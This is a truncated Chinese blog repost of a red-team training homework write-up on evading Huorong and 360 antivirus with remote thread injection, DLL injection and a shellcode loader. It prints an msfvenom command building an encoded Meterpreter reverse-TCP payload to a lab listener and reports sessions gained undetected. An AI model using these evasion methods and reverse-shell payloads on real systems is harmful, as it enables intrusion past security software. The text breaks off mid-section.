红队培训班作业 | 五种免杀bypass火绒360姿势横向测评：哪款更适合你？

最新推荐文章于 2024-08-25 14:31:40 发布

Ms08067安全实验室

最新推荐文章于 2024-08-25 14:31:40 发布

阅读量1.4k

点赞数

文章标签：编程语言人工智能 java 安全 python

本文链接：https://blog.csdn.net/shuteer_xu/article/details/120124570

版权

本文是红队培训班的作业，作者通过远程线程注入、DLL注入、Shellcode加载器、Ladon混淆和无文件落地等方法，测试了如何绕过火绒和360的安全防护。在各种技术的免杀测试中，这些方法均成功避开了杀毒软件的检测，展示了在实际攻防中的潜在应用。

摘要由CSDN通过智能技术生成

文章来源｜MS08067 红队培训班第12节课作业

本文作者：某学员A（红队培训班1期学员）

一、远程线程注入

（一）通过MSF生成payload

通过msfvenom生成payload，命令如下：

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.61.103 lport=4444 -e x86/shikata_ga_nai -i 5 -f c -o ./Desktop/1.c

（二）通过远程线程注入加载payload

通过VS2019对payload进行处理：
编译生成Project1.exe，将其传入装有360和火绒的Windows靶机进行免杀测试。

（三）检测免杀

在Kali上开启msf监听

在靶机上运行Project1.exe，Kali机器获取到Session，并且360和火绒均未报毒

二、DLL注入

（一）通过DLL注入加载Payload

通过VS2019编译DLL文件，该DLL文件将加载之前用MSF产生的payload，经regsvr32测试可以使用

再通过VS2019编译DLL加载器，该加载器将会把指定DLL（Dll1.dll）加载到指定进程

（二）检测免杀

在Kali机器上开启msf监听

开启calc.exe，获取其PID信息

运行Project1.exe，Kali机器获取到Session，且火绒和360未报毒

三、Shellcode加载器

&#x

关注